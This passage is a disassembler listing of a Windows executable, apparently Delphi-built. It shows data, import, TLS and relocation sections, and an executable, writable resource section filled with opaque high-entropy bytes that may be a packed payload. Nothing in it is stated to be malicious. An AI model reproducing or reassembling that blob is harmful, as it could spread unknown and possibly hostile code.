GetProcAddress ; GetProcAddress mov edx, ds:off_160D0 mov [edx], eax push 0 push offset sub_14F44 push 0Ah push 0 mov eax, ds:off_160D0 mov eax, [eax] call eax mov eax, ds:dword_176F0 push eax call FreeLibrary_0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_15208 loc_151F3: ; CODE XREF: CODE:00015206j lea eax, [ebp-20h] mov edx, 4 call sub_134FC retn ; --------------------------------------------------------------------------- loc_15201: ; DATA XREF: CODE:00015135o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_151F3 ; --------------------------------------------------------------------------- loc_15208: ; CODE XREF: CODE:00015200j ; DATA XREF: CODE:000151EEo call sub_133E0 ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 0Ch dword_15218 dd 800B2905h, 81D7DC07h, 0AE402AF0h, 0 dd 0FFFFFFFFh, 12h dword_15230 dd 830C222Bh, 0DC97D530h, 0A74F3CABh, 16A71645h, 0A0Ah ; DATA XREF: CODE:000151A1o dd 6Fh dup(0) CODE ends ; Section 2. (virtual address 00006000) ; Virtual size : 00000104 ( 260.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00004800 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write DATA segment para public 'DATA' use32 assume cs:DATA ;org 16000h ; UINT uExitCode uExitCode dd 0 ; DATA XREF: sub_132C8+Ar sub_13324+2w ... dword_16004 dd 0 byte_16008 db 2 ; DATA XREF: sub_138CC+Dw db 8Dh, 40h, 0 word_1600C dw 1332h ; DATA XREF: sub_12C54+6r ; sub_12C54:loc_12CCCr ... dw 0C08Bh byte_16010 db 0 ; DATA XREF: sub_12D30r sub_12D4Cr ... db 8Dh, 40h, 0 byte_16014 db 0 ; DATA XREF: sub_131A8-336r ; sub_131A8:loc_12EADr db 8Dh, 40h, 0 byte_16018 db 0 ; DATA XREF: sub_13354:loc_133B5r db 8Dh, 40h, 0 dword_1601C dd 0 dword_16020 dd 0 off_16024 dd offset sub_12160 ; DATA XREF: sub_127B4+Ar ; sub_12804+3Fr off_16028 dd offset sub_1230C ; DATA XREF: sub_127E4+5r ; sub_12804+26r off_1602C dd offset sub_126E8 ; DATA XREF: sub_12804+Dr byte_16030 db 0 ; DATA XREF: sub_12860+36r aRsu db 'ËÌÈÉ×ÏÈÍÎÛØÚÙÊÜÝÞßàáã',0 aFxn@ db 'äå@',0 ; char Caption[] Caption db 'Error',0 ; DATA XREF: sub_13354+6Co dw 0C08Bh ; char Text[] Text db 'Runtime error at 00000000',0 ; DATA XREF: sub_132C8+3o ; sub_13354+32o ... dw 0C08Bh byte_16074 db 30h ; DATA XREF: sub_132C8+41r db 31h, 32h, 33h dd 37363534h, 42413938h, 46454443h ; DWORD TlsIndex TlsIndex dd 0FFFFFFFFh ; DATA XREF: sub_139D4+Cr ; sub_139D4+37r ... dword_16088 dd 0 dword_1608C dd 0 dword_16090 dd 0 dword_16094 dd 0 align 10h dword_160A0 dd 1 dd 10h, 2, 20h, 4, 40h, 4, 40h off_160C0 dd offset dword_176AC ; DATA XREF: sub_14B48+2BEr off_160C4 dd offset dword_17670 ; DATA XREF: sub_14B48+293r off_160C8 dd offset dword_17694 ; DATA XREF: sub_14EC8+18r off_160CC dd offset dword_17680 ; DATA XREF: sub_14B48+96r off_160D0 dd offset dword_176A4 ; DATA XREF: CODE:000151BFr ; CODE:000151D2r off_160D4 dd offset dword_1766C ; DATA XREF: sub_14B48+2CDr off_160D8 dd offset dword_176B4 ; DATA XREF: sub_14F44+E2r off_160DC dd offset dword_17684 ; DATA XREF: sub_14B48+189r ; sub_14B48+1F8r ... off_160E0 dd offset dword_17690 ; DATA XREF: sub_14B48+110r off_160E4 dd offset dword_1767C ; DATA XREF: sub_14B48+CEr off_160E8 dd offset dword_17674 ; DATA XREF: sub_14B48+15Cr off_160EC dd offset dword_1769C ; DATA XREF: sub_14EC8+46r off_160F0 dd offset dword_17698 ; DATA XREF: sub_14EC8+56r off_160F4 dd offset dword_176A0 ; DATA XREF: sub_14EC8+2Er off_160F8 dd offset dword_1768C ; DATA XREF: sub_14B48+23Fr off_160FC dd offset dword_17678 ; DATA XREF: sub_14B48+F7r off_16100 dd offset dword_176B0 ; DATA XREF: sub_14EC8+6Cr align 100h DATA ends ; Section 3. (virtual address 00007000) ; Virtual size : 000006F9 ( 1785.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00004A00 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write BSS segment para public '' use32 assume cs:BSS ;org 17000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing dword_17000 dd ? dword_17004 dd ? dword_17008 dd ? ; sub_12860+16r dword_1700C dd ? ; CODE:00013118r dword_17010 dd ? ; sub_12D4C+16r ... dword_17014 dd ? ; CODE:00013100r ... dword_17018 dd ? ; sub_133E0+B7r dword_1701C dd ? dword_17020 dd ? byte_17024 db ? ; DATA XREF: sub_13288+33w align 4 dword_17028 dd ? dword_1702C dd ? dword_17030 dd ? byte_17034 db ? ; DATA XREF: sub_13354+1r byte_17035 db ? ; DATA XREF: sub_11904+1Cr ; sub_11904:loc_119B8r ... byte_17036 db ? ; DATA XREF: sub_138CC+28w align 4 dword_17038 dd ? ; sub_13878+19o word_1703C dw ? ; DATA XREF: sub_138CC+4Cw align 10h dd 71h dup(?) dword_17204 dd ? ; sub_13878+23o word_17208 dw ? ; DATA XREF: sub_13354+Ar ; sub_138CC+55w align 10h dword_17210 dd ? align 10h dword_17220 dd ? dd 6Bh dup(?) dword_173D0 dd ? word_173D4 dw ? ; DATA XREF: sub_138CC+5Ew align 4 dd 71h dup(?) dword_1759C dd ? dword_175A0 dd ? ; sub_12018+CCw ... dword_175A4 dd ? dword_175A8 dd ? ; sub_138CC+B2w ... byte_175AC db ? ; DATA XREF: sub_11904+A0w ; sub_11904:loc_119D3r ... align 10h dword_175B0 dd ? ; sub_115C8+99w ... ; struct _RTL_CRITICAL_SECTION CriticalSection CriticalSection _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_11904+12o ; sub_11904+25o ... dword_175CC dd ? ; sub_110FC+3Cw ... dword_175D0 dd ? ; sub_111E4+22r ... dword_175D4 dd ? ; sub_113C8+51o ... dd 3 dup(?) dword_175E4 dd 4 dup(?) ; sub_1172C+12o ... dword_175F4 dd ? dword_175F8 dd ? align 10h dword_17600 dd ? ; sub_11ADC+4r ... dword_17604 dd ? dword_17608 dd ? ; sub_11EA8+2Er ... ; HLOCAL hMem hMem dd ? ; DATA XREF: sub_11904+59w ; sub_11904+5Er ... dword_17610 dd ? ; sub_119DC+90o ... align 10h dword_17620 dd ? dword_17624 dd ? ; sub_13180+2r dword_17628 dd ? dword_1762C dd ? dword_17630 dd ? dd 6 dup(?) byte_1764C db ? ; DATA XREF: sub_13A18r align 10h dword_17650 dd ? ; sub_13A64+16r ... dword_17654 dd ? ; CODE:loc_13AD8w dword_17658 dd ? dword_1765C dd ? dword_17660 dd ? dword_17664 dd ? dword_17668 dd ? dword_1766C dd ? ; DATA:off_160D4o dword_17670 dd ? ; sub_1434C+2D9w ... dword_17674 dd ? ; DATA:off_160E8o dword_17678 dd ? ; DATA:off_160FCo dword_1767C dd ? ; DATA:off_160E4o dword_17680 dd ? ; DATA:off_160CCo dword_17684 dd ? ; DATA:off_160DCo dword_17688 dd ? ; sub_13F18+C3r ... dword_1768C dd ? ; DATA:off_160F8o dword_17690 dd ? ; DATA:off_160E0o dword_17694 dd ? ; DATA:off_160C8o dword_17698 dd ? ; DATA:off_160F0o dword_1769C dd ? ; DATA:off_160ECo dword_176A0 dd ? ; DATA:off_160F4o dword_176A4 dd ? dword_176A8 dd ? ; sub_13F18+2B2r ... dword_176AC dd ? ; DATA:off_160C0o dword_176B0 dd ? ; DATA:off_16100o dword_176B4 dd ? ; DATA:off_160D8o dword_176B8 dd ? dword_176BC dd ? dword_176C0 dd ? dword_176C4 dd ? dword_176C8 dd ? dword_176CC dd ? dword_176D0 dd ? ; sub_14810+F8r ; HMODULE hModule hModule dd ? ; DATA XREF: sub_14810+98w ; sub_14810+BEr ... dword_176D8 dd ? dword_176DC dd ? dword_176E0 dd ? dword_176E4 dd ? ; sub_14F44+33r ... dword_176E8 dd ? ; sub_14F44+45r ... dword_176EC dd ? ; sub_14F44+50o ... dword_176F0 dd ? ; CODE:000151B4r ... dword_176F4 dd 43h dup(?) BSS ends ; ; Imports from kernel32.dll ; ; Section 4. (virtual address 00008000) ; Virtual size : 0000042A ( 1066.) ; Section size in file : 00000600 ( 1536.) ; Offset to raw data for section: 00004A00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Externs ; _idata ; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn __imp_DeleteCriticalSection:dword ; DATA XREF: DeleteCriticalSectionr ; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn __imp_LeaveCriticalSection:dword ; DATA XREF: LeaveCriticalSectionr ; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn __imp_EnterCriticalSection:dword ; DATA XREF: EnterCriticalSectionr ; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection) extrn __imp_InitializeCriticalSection:dword ; DATA XREF: InitializeCriticalSectionr ; BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) extrn __imp_VirtualFree:dword ; DATA XREF: VirtualFreer ; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) extrn __imp_VirtualAlloc:dword ; DATA XREF: VirtualAllocr ; HLOCAL __stdcall LocalFree(HLOCAL hMem) extrn __imp_LocalFree:dword ; DATA XREF: LocalFreer ; HLOCAL __stdcall LocalAlloc(UINT uFlags, SIZE_T uBytes) extrn __imp_LocalAlloc:dword ; DATA XREF: LocalAllocr ; DWORD __stdcall GetVersion() extrn __imp_GetVersion:dword ; DATA XREF: GetVersionr ; DWORD __stdcall GetCurrentThreadId() extrn __imp_GetCurrentThreadId:dword ; DATA XREF: GetCurrentThreadIdr ; LCID __stdcall GetThreadLocale() extrn __imp_GetThreadLocale:dword ; DATA XREF: GetThreadLocaler ; void __stdcall GetStartupInfoA(LPSTARTUPINFOA lpStartupInfo) extrn __imp_GetStartupInfoA:dword ; DATA XREF: GetStartupInfoAr ; DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize) extrn __imp_GetModuleFileNameA:dword ; DATA XREF: GetModuleFileNameAr ; int __stdcall GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData) extrn __imp_GetLocaleInfoA:dword ; DATA XREF: GetLocaleInfoAr ; LPSTR __stdcall GetCommandLineA() extrn __imp_GetCommandLineA:dword ; DATA XREF: GetCommandLineAr ; BOOL __stdcall FreeLibrary(HMODULE hLibModule) extrn __imp_FreeLibrary:dword ; DATA XREF: FreeLibraryr ; void __stdcall ExitProcess(UINT uExitCode) extrn __imp_ExitProcess:dword ; DATA XREF: ExitProcessr ; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped) extrn __imp_WriteFile:dword ; DATA XREF: WriteFiler ; LONG __stdcall UnhandledExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo) extrn __imp_UnhandledExceptionFilter:dword ; DATA XREF: UnhandledExceptionFilterr extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr ; void __stdcall RaiseException(DWORD dwExceptionCode, DWORD dwExceptionFlags, DWORD nNumberOfArguments, const ULONG_PTR *lpArguments) extrn __imp_RaiseException:dword ; DATA XREF: RaiseExceptionr ; HANDLE __stdcall GetStdHandle(DWORD nStdHandle) extrn __imp_GetStdHandle:dword ; DATA XREF: GetStdHandler ; ; Imports from user32.dll ; ; int __stdcall GetKeyboardType(int nTypeFlag) extrn __imp_GetKeyboardType:dword ; DATA XREF: GetKeyboardTyper ; int __stdcall MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) extrn __imp_MessageBoxA:dword ; DATA XREF: MessageBoxAr ; LPSTR __stdcall CharNextA(LPCSTR lpsz) extrn __imp_CharNextA:dword ; DATA XREF: CharNextAr ; ; Imports from advapi32.dll ; ; LSTATUS __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData) extrn __imp_RegQueryValueExA:dword ; DATA XREF: RegQueryValueExAr ; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult) extrn __imp_RegOpenKeyExA:dword ; DATA XREF: RegOpenKeyExAr ; LSTATUS __stdcall RegCloseKey(HKEY hKey) extrn __imp_RegCloseKey:dword ; DATA XREF: RegCloseKeyr ; ; Imports from kernel32.dll ; ; BOOL __stdcall TlsSetValue(DWORD dwTlsIndex, LPVOID lpTlsValue) extrn __imp_TlsSetValue:dword ; DATA XREF: TlsSetValuer ; LPVOID __stdcall TlsGetValue(DWORD dwTlsIndex) extrn __imp_TlsGetValue:dword ; DATA XREF: TlsGetValuer ; HLOCAL __stdcall LocalAlloc_0(UINT uFlags, SIZE_T uBytes) extrn __imp_LocalAlloc_0:dword ; DATA XREF: LocalAlloc_0r ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName) extrn __imp_GetModuleHandleA:dword ; DATA XREF: GetModuleHandleAr ; ; Imports from kernel32.dll ; ; BOOL __stdcall SetHandleInformation(HANDLE hObject, DWORD dwMask, DWORD dwFlags) extrn __imp_SetHandleInformation:dword ; DATA XREF: SetHandleInformationr ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) extrn __imp_LoadLibraryA:dword ; DATA XREF: LoadLibraryAr ; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName) extrn __imp_GetProcAddress:dword ; DATA XREF: GetProcAddressr ; DWORD __stdcall GetLastError() extrn __imp_GetLastError:dword ; DATA XREF: GetLastErrorr ; BOOL __stdcall FreeLibrary_0(HMODULE hLibModule) extrn __imp_FreeLibrary_0:dword ; DATA XREF: FreeLibrary_0r ; ; Imports from shell32.dll ; ; HICON __stdcall ExtractAssociatedIconA(HINSTANCE hInst, LPSTR lpIconPath, LPWORD lpiIcon) extrn __imp_ExtractAssociatedIconA:dword ; DATA XREF: ExtractAssociatedIconAr ; Section 5. (virtual address 00009000) ; Virtual size : 00000008 ( 8.) ; Section size in file : 00000000 ( 0.) ; Offset to raw data for section: 00005000 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write _tls segment para public '' use32 assume cs:_tls ;org 19000h assume es:nothing, ss:nothing, ds:CODE, fs:nothing, gs:nothing TlsStart dd 2 dup(?) ; DATA XREF: .rdata:TlsDirectoryo TlsEnd dd 7Eh dup(?) ; DATA XREF: .rdata:TlsEnd_ptro _tls ends ; Section 6. (virtual address 0000A000) ; Virtual size : 00000018 ( 24.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00005000 ; Flags 50000040: Data Shareable Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 1A000h TlsDirectory dd offset TlsStart TlsEnd_ptr dd offset TlsEnd TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsSizeOfZeroFill TlsSizeOfZeroFill dd 0 ; DATA XREF: .rdata:TlsCallbacks_ptro TlsCharacteristics dd 0 align 200h _rdata ends ; Section 7. (virtual address 0000B000) ; Virtual size : 000004C4 ( 1220.) ; Section size in file : 00000600 ( 1536.) ; Offset to raw data for section: 00005200 ; Flags 50000040: Data Shareable Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _reloc segment para public 'DATA' use32 assume cs:_reloc ;org 1B000h dd 1000h, 0E4h, 300A3002h, 301A3012h, 302A3022h, 303A3032h dd 304A3042h, 305A3052h, 306A3062h, 307A3072h, 308A3082h dd 30BE3092h, 30CE30C6h, 30DE30D6h, 30EE30E6h, 310130F6h dd 3139312Eh, 320F3208h, 341A33A3h, 34C43466h, 355334DAh dd 361135B7h, 36723663h, 373F3692h, 38EE38B2h, 3917390Ch dd 392A3922h, 393E3934h, 395E3948h, 39723964h, 39A03987h dd 39B439A6h, 39C239BAh, 39E439D4h, 39FF39F3h, 3A123A07h dd 3A253A18h, 3A4F3A2Ah, 3A633A59h, 3A773A6Dh, 3A983A8Ah dd 3AB43AAEh, 3AC63ABCh, 3AED3AE2h, 3B2A3B12h, 3B973B76h dd 3BF23BA1h, 3C583C08h, 3C9C3C78h, 3DF83DE3h, 3E6D3E61h dd 3EB33EAAh, 3EC73EBCh, 3ED73ED0h, 3EED3EE6h, 3F683F0Fh dd 3FFA3F70h, 2000h, 0F0h, 302B3026h, 30B83030h, 30DD30C2h dd 314830E6h, 316B3151h, 319D3191h, 31D831A5h, 321C320Eh dd 3268325Fh, 32803278h, 328F3286h, 329B3296h, 32BD32A4h dd 32E432C6h, 32F232EAh, 331E3318h, 33483330h, 335C3354h dd 338C337Dh, 33BC339Ch, 340B33DBh, 34193413h, 3452341Fh dd 34AB3486h, 34C134BBh, 353434C9h, 3542353Ch, 35553548h dd 35C4355Bh, 35D435CCh, 35E035DAh, 35EE35E8h, 35FB35F4h dd 36C83605h, 371436F6h, 37283720h, 378F3789h, 37C03797h dd 381337EBh, 3845382Ch, 386B3856h, 38983878h, 3C1E3B11h dd 3C6D3C5Dh, 3CA13C83h, 3CCE3CB7h, 3D1D3CE3h, 3D463D32h dd 3D643D4Eh, 3D8A3D7Ch, 3DDA3DBEh, 3DFA3DE6h, 3E173E04h dd 3E743E47h, 3EAF3E7Dh, 3EED3EB8h, 3F163EF4h, 3F8B3F63h dd 3000h, 124h, 30FB30D3h, 311A3102h, 3170313Ch, 31833178h dd 31CA31B2h, 323B3222h, 328E328Ah, 32983294h, 32A4329Dh dd 32B232AAh, 32CC32BDh, 330032D4h, 3328330Bh, 33573332h dd 336B3361h, 33793373h, 33A23387h, 33C133B7h, 33E633C6h dd 340D33EBh, 342D3421h, 34903446h, 349E3499h, 34CE34C1h dd 37213657h, 37723732h, 378D3779h, 37B437ABh, 37C737C0h dd 385D3814h, 388B387Fh, 389C3892h, 38BD38A6h, 38DB38CEh dd 38E638E2h, 38F038ECh, 38FD38F6h, 391B3901h, 392D3924h dd 39433939h, 397F396Ah, 399A3990h, 39AA39A2h, 39BA39B2h dd 3A0C39E2h, 3A1F3A1Ah, 3A483A38h, 3A6A3A59h, 3A7B3A76h dd 3A873A80h, 3A983A8Eh, 3ABB3AAFh, 3ADA3AC8h, 3AF33AE7h dd 3B123B00h, 3B223B1Ah, 3B323B2Ah, 3B473B3Ah, 3B603B53h dd 3D983B72h, 3DDF3DBCh, 3DF83DEBh, 3E173E0Ah, 3E303E23h dd 3E653E42h, 3EEB3EBDh, 3F443F2Bh, 3F963F6Dh, 3FC53FB2h dd 3FE23FDDh, 3FF5h, 4000h, 12Ch, 3012300Dh, 303D3025h dd 30553042h, 3072306Dh, 309D3085h, 30B530A2h, 30D230CDh dd 30FD30E5h, 31153102h, 3132312Dh, 315D3145h, 31753162h dd 3192318Dh, 31BD31A5h, 31CC31C2h, 335F31D9h, 33A13378h dd 33E633CAh, 341133F9h, 34293416h, 34463441h, 34713459h dd 34893476h, 34A634A1h, 34D134B9h, 34E934D6h, 35063501h dd 35313519h, 35493536h, 35663561h, 35913579h, 35A93596h dd 35C635C1h, 35F135D9h, 360635F6h, 36263621h, 363A3630h dd 37D33647h, 37EC37DFh, 383037FEh, 38A93891h, 38CF38BCh dd 390A38DAh, 3937390Fh, 3A6939A7h, 3A9F3A93h, 3ABE3AACh dd 3AD33AC6h, 3AEC3ADFh, 3B3A3AFEh, 3BDF3B6Eh, 3C173BF7h dd 3C593C40h, 3CD23CA5h, 3D883D41h, 3DDC3DB5h, 3E073DF6h dd 3E353E16h, 3E6B3E5Fh, 3E8A3E78h, 3EA33E97h, 3EC23EB0h dd 3EE13EDBh, 3EF73EF1h, 3F0F3F09h, 3F353F1Fh, 3F663F54h dd 3F793F73h, 3F8B3F85h, 3FA13F95h, 3FBF3FA7h, 3FD63FCCh dd 3FF5h, 5000h, 5Ch, 3027300Fh, 307F3038h, 309C308Ah dd 30B430B0h, 30BC30B8h, 30C430C0h, 30CC30C8h, 30D430D0h dd 30DC30D8h, 30E430E0h, 30EC30E8h, 30F430F0h, 30FC30F8h dd 31043100h, 31103108h, 31363129h, 31773141h, 31A2318Fh dd 31C131B5h, 31D331CAh, 31EF31DCh, 6000h, 30h, 30283024h dd 30C0302Ch, 30C830C4h, 30D030CCh, 30D830D4h, 30E030DCh dd 30E830E4h, 30F030ECh, 30F830F4h, 310030FCh, 0A000h dd 14h, 30043000h, 300C3008h, 50h dup(0) _reloc ends ; Section 8. (virtual address 0000C000) ; Virtual size : 0000D400 ( 54272.) ; Section size in file : 00008000 ( 32768.) ; Offset to raw data for section: 00005800 ; Flags F0000060: Text Data Shareable Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _rsrc segment para public 'CODE' use32 assume cs:_rsrc ;org 1C000h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing dd 2 dup(0) dd 4, 10000h, 0Ah, 80000018h, 2 dup(0) dd 4, 1, 80000058h, 80000030h, 2 dup(0) dd 4, 10000h, 0 dd 48h, 0C060h, 6355h, 4E4h, 0 dd 4C0003h, 450049h, 0EE79C1D3h, 0FEE40B1Ch, 0C32CDE84h dd 73C97708h, 0FE544B7Dh, 8C54A6C6h, 8130F4EBh, 0E2942EB3h dd 0FC05EB5Fh, 80310330h, 421E5BDCh, 7EB3F883h, 44F510F4h dd 55F6B84Dh, 0DEDEBBCFh, 0BB943FC7h, 3C20D168h, 42C90681h dd 9F5736A2h, 5C40E99Bh, 0BCA4D99h, 0B039B216h, 76ACBB36h dd 5C73BC55h, 68EE608Bh, 57D8DE27h, 3B724BD8h, 0D3805808h dd 0F6CD031Ah, 0D73F1988h, 0F26FBEE2h, 0E57867A1h, 8211E9ACh dd 0F442D1A6h, 0C79FEA56h, 0C90DD7C7h, 0A00F2D67h, 0F839D11Ch dd 0E8BD5E17h, 467330ABh, 0A025CF1Fh, 0F70F34F4h, 9F8CAC6h dd 45D32B76h, 0CD8634FEh, 86375C62h, 2010DADDh, 0BAE9469Dh dd 6D0804BDh, 0F2C8F9B4h, 4EE2A1DAh, 1B79CC23h, 52DFE850h dd 0F5C6FCDDh, 0F8F1A49h, 0E62FAA63h, 0F3671A2Fh, 6CE31B86h dd 0EF2D198Fh, 20DB93F2h, 54593E0Ah, 0CA24F77Eh, 0CDF06575h dd 272A76BDh, 0F0AD344Bh, 0A43B5E9Bh, 539595C9h, 0A7EA4026h dd 0DFD94A24h, 0CFF8446Ch, 1ACC6037h, 0F8E341BAh, 3B3A1857h dd 0F83EC2E6h, 0B502CEA1h, 48B5DE0Ch, 0EF77D239h, 0B1E805EAh dd 22468B92h, 6EA8157Bh, 3545A13Fh, 0B04C45A3h, 9434CA1Eh dd 4278DE35h, 85F06642h, 78DF194Ch, 78F46C56h, 695FE5F0h dd 0A09A929Fh, 0DFD6E11Dh, 0FA832A10h, 56451C39h, 44E25459h dd 6027C0E7h, 4CF2AA58h, 0EE2CDA8h, 0CC35E917h, 0CED864B6h dd 98B9EAE1h, 5BA56637h, 0BCC3ECD4h, 26F8EBC4h, 0B1F83E0Eh dd 569F0BDEh, 0E9DB239Bh, 0DC65E8FAh, 22E28AEDh, 99A7460h dd 10A8B884h, 85905C3Dh, 4EF1724Bh, 74E5F2BAh, 0BB625BA9h dd 0BA76776Ch, 74A058C3h, 0DA9AA2CBh, 714C6D0Fh, 85E0F14Bh dd 816726D4h, 8849E8C8h, 7674B84Bh, 48E65C45h, 6C9B637Eh dd 5028B5D0h, 0A93079A6h, 0CF442E28h, 0F7AB67Ch, 72B254B8h dd 27A87673h, 38896D9Eh, 60C42E23h, 483D939Dh, 0F8DC2F8Fh dd 0ABBAD646h, 0A889D4A4h, 0CC39B9EAh, 0CFA7B818h, 32D6118h dd 0CF1842A3h, 0CE3F3488h, 46B6D9B3h, 2DD93BB2h, 0ED7F5EB9h dd 773BADh, 32BBC235h, 0CD72564Fh, 5BACAF4Dh, 495201DFh dd 0DF851530h, 83886520h, 5886B3Bh, 0A8FF95B1h, 21A2CE13h dd 0E2F6839h, 65B8B281h, 743CA97Dh, 0ABD2B17Eh, 64C9158Dh dd 0FFEA6D16h, 0E2042B32h, 20ABB36Eh, 916AB065h, 7F20366Eh dd 0A091347h, 288559FFh, 0A743BEE5h, 9418BAF1h, 0A8992EEBh dd 437F4E6Ah, 5A4F324Eh, 388FA26Ch, 72C0F68Fh, 6D9C6A4Ah dd 94BF694Bh, 0D1B769FEh, 0CD9BD5A8h, 7545D050h, 7BB913BDh dd 5A767C90h, 0A61B7E73h, 3E375949h, 1921D5F9h, 0E873EBC7h dd 0BC52B8C7h, 580DC78h, 90A8E930h, 0F0721D22h, 0A9E80AD9h dd 13699749h, 6AF343F1h, 3AE1E786h, 576352B7h, 0FAC7A21Fh dd 0E1B015FBh, 0E3AFDA6Fh, 9528E76Bh, 86796EEh, 29C31968h dd 6124E762h, 0A51B3F0h, 0FAE27FDh, 15322002h, 0EF3BE8DAh dd 14ED9EB8h, 0FB602D7Ah, 0D557B8F3h, 0B652F87Ah, 0B47F2B65h dd 14975FFCh, 62542A2Fh, 453CCC9Dh, 5B11B322h, 6AA4AD9Ch dd 0FB4A24D1h, 0EAD8B40Ch, 8CD16h, 0BE4038FBh, 0BD1EB56Fh dd 5B6FD15Fh, 7E3A7224h, 0A92B3650h, 4356D5BCh, 0DECBB135h dd 5A9C1210h, 46CBC2ADh, 0E0F6BCDBh, 0D34FE483h, 30925E2Ah dd 0CBACFD56h, 0EF5E4D06h, 5F220470h, 0ABC5BF35h, 58DB2668h dd 12B2418Ch, 0B62BDAAh, 0A43B2FDAh, 0CD657155h, 0ECA8B3A3h dd 2C606848h, 0A6EA80ABh, 0AF43E706h, 42CCF27Eh, 331B64A1h dd 0D1BCCA80h, 79936B59h, 990F5863h, 0C4309FE2h, 0E7CC633Ah dd 4EDBC198h, 0A153FD5Bh, 7DBFD1Ah, 8C89EE7Bh, 0E3D11E36h dd 0B4D27F46h, 0E6B5D6F5h, 7F77972Ch, 7F24563Ah, 0C0537B41h dd 70CF4C49h, 152B0BD6h, 0B3D50CA5h, 0A290D5CCh, 1B106CEDh dd 3F28EFDDh, 2DDF37CBh, 91CB613h, 229C4F9Fh, 455E8638h dd 485A825Eh, 1FAA3263h, 0F5F8D4Fh, 2E54E42Bh, 0B41F60A5h dd 8D29D90Dh, 0B91AAB70h, 8225C00Dh, 1617A32Dh, 0BC757214h dd 669340D9h, 937BC571h, 44D8AFADh, 51AEB0EBh, 32A22757h dd 550AE4B5h, 305F3590h, 0A5374492h, 755B4EBBh, 66D679CAh dd 1474F1CBh, 0D9A36500h, 98A80442h, 126D89F3h, 5546262Eh dd 5413F7C0h, 4D4B5693h, 0FEB941h, 9F456911h, 0F6001257h dd 23078AA3h, 0D1A4B3DCh, 0AFF38276h, 8D9AB3BFh, 4E362E1Bh dd 0FE803DE6h, 3F5C1198h, 0C8625CA5h, 5169F10Bh, 34C9DBBEh dd 0F0AE0981h, 1FB33771h, 79A3850h, 41D3EED5h, 892F8F7Eh dd 4F2139h, 51C3BE5Ah, 0EAA55BF5h, 2665D0FAh, 1F59730Ch dd 0B88A7564h, 65B1485Dh, 0E0C36FC4h, 923E31F6h, 8037CC97h dd 0AF6A71Eh, 6AAE7FD8h, 0F2AB9923h, 73585A01h, 82347BBCh dd 0C6931827h, 58298646h, 0DFF9DCCCh, 68F9140h, 388F1CC4h dd 0D1FD3AEh, 26C76B95h, 0CFBF83FEh, 51B251D0h, 0F5649DB7h dd 2D119D9Dh, 0DD3CDE00h, 0F6D140E7h, 787EF60Eh, 6866E00Fh dd 0DABBD237h, 3EC3CD4Ah, 0FB0FEBE0h, 0B4283ABBh, 77991860h dd 80D5B2B6h, 412BB0Ah, 5BA84AD2h, 145E7A5Ah, 875DCB00h dd 0A88B4967h, 909763A3h, 0D29A37D9h, 7FE80918h, 940790AFh dd 270E9902h, 21EA7153h, 4323BD4Dh, 780871D8h, 0C5DBB4E5h dd 84291492h, 9312F4CBh, 85DDDD5h, 227FCBCEh, 4C23705Bh dd 7747A1D7h, 0DB94E20h, 38642B6Ch, 72DE4523h, 8B5FF5Ah dd 0F9F48E79h, 8961A288h, 80CC42BAh, 0B1B11A24h, 3F355889h dd 77AFF3D4h, 61D72BF4h, 0CAEE29DEh, 6A7DE802h, 6E3F1EF7h dd 9297BDDCh, 0B16B517Dh, 7FFE418Ah, 733708E0h, 0EFF4FE3Eh dd 9D874B64h, 27D39CC3h, 0D9FB8BC0h, 0D6D98DC6h, 7EC9A326h dd 4B8F4F39h, 4A0E038Ch, 7193011Dh, 0E7B82548h, 8A62DB24h dd 7621D5D8h, 92868719h, 50A8FB71h, 1365503Eh, 0FA6C7C31h dd 8BE45685h, 0D8E8EA71h, 18E263A0h, 0E0F4BE1Ah, 5C684841h dd 4A8D0792h, 7C69A532h, 0C804AE97h, 